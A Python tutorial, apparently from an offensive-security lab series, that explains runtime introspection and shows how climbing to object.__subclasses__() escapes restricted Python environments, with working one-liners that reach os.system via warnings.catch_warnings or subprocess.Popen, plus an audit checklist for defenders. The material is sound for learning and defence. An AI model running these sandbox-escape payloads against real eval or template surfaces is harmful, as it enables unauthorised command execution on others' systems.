Python Introspection
In Python, introspection is the ability to examine the properties of objects at runtime. Since everything in Python is an object including functions, classes, modules, and even types themselves, introspection allows you to dynamically explore and interact with objects while a program is running.
This includes inspecting an object’s type, attributes, methods, inheritance hierarchy, documentation, and more.
Introspection is a powerful feature that supports debugging, metaprogramming, and dynamic analysis, and it’s widely used in both development and security research.
Python exposes a wide set of built-in functions and special attributes to support introspection, allowing you to interact with and analyze objects at runtime; These tools enable you to query an object’s type, list its attributes and methods, trace its inheritance structure and more.
Let’s perform introspection on the following class to understand how we can dynamically explore its structure and behavior at runtime:
class PyFuUser:
def __init__(self, name):
self.name = name
def greet(self):
return f"Hello, {self.name}!"
user = PyFuUser("Askar")
Get All Attributes and Methods
You can use the built-in dir() function to list all the attributes and methods associated with an object; This includes both user-defined and inherited members:
print(dir(user))
# Output: ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'greet', 'name']
Get Object Type
We can use the built-in type() function to determine the type of an object; This reveals the class that the object is an instance of:
print(type(user))
# Output: <class '__main__.PyFuUser'>
This confirms that user is an instance of the PyFuUser class.
Alternatively, we can use the built-in __class__ attribute to get the type of an object; This attribute directly references the class that created the object:
print(user.__class__)
# Output: <class '__main__.PyFuUser'>
Get Object Base Class
We can use the __base__ attribute to find the immediate base class (parent class) of a given class. This is useful for understanding inheritance relationships.
print(user.__class__.__base__)
# Output: <class 'object'>
In this case, PyFuUser does not explicitly inherit from another class, so its base class is Python’s built-in object class, which is the root of all new-style classes in Python 3.
Get All Submodules (Subclasses of the Base Class)
We can retrieve all subclasses of a class by calling __subclasses__() on its base class. In this example, since PyFuUser inherits from object, we can list all direct subclasses of object which will include PyFuUser if it has been defined:
print(user.__class__.__base__.__subclasses__())
# Output: [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>, <class '__main__.PyFuUser'>]
This technique isn’t limited to user-defined classes, it can also be applied to core data types like list, tuple, and others, since they all ultimately inherit from Python’s base object class.
For example:
>>> [].__class__
<class 'list'>
>>> [].__class__.__base__
<class 'object'>
>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, ..., <class 'subprocess.Popen'>, ..., <class 'warnings.catch_warnings'>, ...]
The list is large (typically 200+ classes on a fresh interpreter, more as additional modules are imported) and its exact contents and order depend on the CPython version and what has been loaded. Which gadgets are present depends on what has been imported: warnings.catch_warnings is there on a fresh interpreter and is the reliable bridge to __builtins__, while subprocess.Popen only appears once something has imported subprocess. Their positions shift, so I always locate them by name rather than by index. The full mechanics of turning this list into code execution are covered in Python Object Model and MRO and Walking the Python Object Graph with subclasses().
Command Execution Via Introspection
Python’s introspection capabilities can be abused to achieve command execution by dynamically locating and invoking dangerous classes or functions, even if they were not directly imported in the code.
For example:
[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')
We start by using [].__class__ to retrieve the class of an empty list, which returns <class 'list'>. Then, .__base__ moves up one level in the inheritance hierarchy to the parent class of list, which is <class 'object'>.
Calling .__subclasses__() on object returns a list of all classes that directly inherit from it, covering built-in, internal, and any imported classes currently loaded in memory.
Next, a list comprehension filters this list for the subclass named catch_warnings, which is warnings.catch_warnings. I pick this class because it is loaded on a fresh interpreter, so the filter never comes back empty. Instantiating it and reading ._module hands back the warnings module object, and warnings.__builtins__ is the builtins dictionary, which still contains __import__ even when the name import is unavailable to me. From there I import os and call system('id').
This results in the execution of an arbitrary system command without directly importing or referencing the os or subprocess modules, which is why the technique is so useful in restricted execution environments where direct imports are blocked but introspection remains available.
The shorter subprocess.Popen form is the one most people reach for first:
[i for i in [].__class__.__base__.__subclasses__() if i.__name__ == 'Popen'][0]('id', shell=True)
It works only when subprocess has already been imported into the process. On a fresh interpreter Popen is not in the subclasses list, so the filter returns an empty list and [0] raises IndexError: list index out of range. Many real targets (most web applications) have already imported subprocess, so it succeeds there, but the catch_warnings chain above does not depend on that and is the one I rely on.
Running it in the lab
docker compose run --rm generic-py-fu python3 interospection-example.py
[<class 'type'>, <class 'async_generator'>, ..., <class 'os._wrap_close'>,
<class '_sitebuiltins.Quitter'>, ..., <class '__main__.PyFuUser'>]
object.__subclasses__() returns every class currently loaded in the interpreter, from builtins through process and file wrappers like os._wrap_close down to user-defined classes; the attacker picks the useful gadgets out of this list by name.
Why introspection matters from an offensive security perspective
Introspection is the first thing I reach for when I land inside a restricted Python context. It does not need imports, it does not need the os name to be in scope, and it does not need any function the target forgot to remove. Given a single reference to any object, introspection lets me read the object back to its class, climb to object, and enumerate every class the interpreter has loaded. That is the whole bridge from “I can evaluate one expression” to “I can run commands.” A jail that strips import, eval, and open but still lets me touch a string literal has handed me the entire class graph for free.
What introspection gives an attacker, concretely: recon (the exact attributes, methods, and inheritance of objects I cannot see the source for), gadget discovery (__subclasses__() to locate Popen, catch_warnings, loaders), and a pivot to builtins (__globals__ on any reachable function to recover __import__). It turns an opaque runtime into a fully mapped one.
When auditing a surface that exposes introspection, this is what I look for:
- Any path that evaluates user input on a real object.
eval,exec, templating, expression filters, formula fields. If the attacker controls an expression,().__class__is reachable and the rest follows. - Exposed
__class__,__base__,__bases__,__mro__, or__subclasses__. These are the rungs of the climb. Blockingimportbut leaving these reachable does nothing. - Reachable
__globals__,__init__,__func__, or__closure__on any function or method. Each one leaks the defining module’s namespace and the__builtins__table behind it. dir(),vars(),getattr()with attacker-influenced names. A name blocklist rarely covers every alias, andgetattr(obj, attacker_string)defeats syntactic filtering entirely.
For defenders the takeaway is blunt: if an attacker can evaluate even a trivial expression against a genuine Python object, introspection has already given them the loaded class graph and the builtins behind it, and attribute-name blocklisting will not close that gap.